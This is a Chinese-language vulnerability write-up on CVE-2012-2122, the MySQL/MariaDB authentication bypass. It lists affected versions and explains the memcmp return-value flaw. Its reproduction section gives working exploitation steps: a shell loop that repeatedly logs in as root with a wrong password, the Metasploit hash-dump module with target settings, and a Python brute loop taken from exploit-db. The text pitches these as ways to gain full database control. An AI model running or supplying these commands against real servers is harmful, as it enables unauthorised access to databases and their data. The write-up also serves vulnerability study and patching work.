漏洞类型:
身份认证绕过(Authentication Bypass)
漏洞影响:
- Oracle MySQL 5.1.x(版本低于 5.1.63)
- Oracle MySQL 5.5.x(版本低于 5.5.24)
- Oracle MySQL 5.6.x(版本低于 5.6.6)
- MariaDB 5.1.x(版本低于 5.1.62)
- MariaDB 5.2.x(版本低于 5.2.12)
- MariaDB 5.3.x(版本低于 5.3.6)
- MariaDB 5.5.x(版本低于 5.5.23)
漏洞原理:
历史漏洞:
在MySQL4.1版本之前,你只需要知道密码的哈希值,而不需要密码本身
这虽然不是一个重大的安全缺陷,但是,在4.1和4.1.2版本仍然存在,我们可以使用零长度的哈希值进行身份验证,这是开发人员的一个疏忽,他们忽略了这一点;或者使用过长的哈希值,从而导致内存溢出
在3.2和3.11版本之前,如果你知道哈希值的第一个字符,就可以完成身份验证,这很容易被猜测出来;在3.2和3.54版本之前,已登录的用户可以利用之前的漏洞发出change user命令,从而更改其他用户的密码
CVE-2012-2122:
攻击者可通过向 MySQL/MariaDB 数据库服务器的 3306 端口发送特定构造的认证请求,利用
memcmp函数在特定环境下的错误实现,反复尝试使用错误密码进行登录。由于返回值判断逻辑缺陷,最终可绕过身份验证,实现未授权访问举个简单的例子,比如正确密码是123456,错误密码是wrong,那么当我们输入错误的密码的时候:
// 输入错误密码"wrong" int result = memcmp(错误哈希, 正确哈希, 20); // result = memcmp([0x11][0x22][0xAA][0xBB]..., [0x11][0x22][0x33][0x44]..., 20) // 在第3个字节就不同了:0xAA != 0x33 // 正常情况下 result = 0xAA - 0x33 = 170 - 51 = 119 (一个正数) // 错误的判断逻辑: if (result) { // if (119) --> true! return 0; // 认证失败 - 这是对的 }但是由于编译器或者平台的bug,导致memcmp函数会随机返回一些奇怪的值:
// 同样的比较,但memcmp有bug int result = memcmp(错误哈希, 正确哈希, 20); // 正常应该返回119,但bug让它随机返回:0, 1, -1, 127 等 // 如果bug让它返回了0: if (result) { // if (0) --> false! return 0; // 不执行该代码 } return 1; // 直接返回认证成功!!!这就是漏洞!所以这个漏洞主要的原因还是比较逻辑的缺陷和memcmp函数的bug,随机返回肯定是概率性事件,研究人员测试这个概率大约是1/256到1/1000,还是很高了
漏洞复现:
首先要想利用这个漏洞,你必须知道一个SQL数据库的用户名,才能进行尝试,不过,MySQL数据库的用户名很显然是root,所以我们几乎可以肯定知道一个用户名来进行尝试利用这个漏洞,那么我们一旦获取到root权限,就肯定拥有了对数据库的完全控制权,但是根据被利用的平台,我们有可能提升权限并控制整个主机
漏洞探测,我们可以使用nmap扫描主机,然后版本探测,然后通过结果来判断是否是该漏洞的影响范围,命令如下:
nmap host namp host -sV然后就可以通过以下三种方法来进行漏洞利用:
shell脚本爆破
for i in `seq 1 1000`; do mysql -uroot -pwrong -h host -P 3306 ; donemetasploit获取密码
search CVE-2012-2122 use auxiliary/scanner/mysql/mysql_authbypass_hashdump set rhost 目标地址 runpython脚本
// 来源 https://www.exploit-db.com/exploits/19092 import subprocess ipaddr = raw_input("Enter the IP address of the mysql server: ") while 1: subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
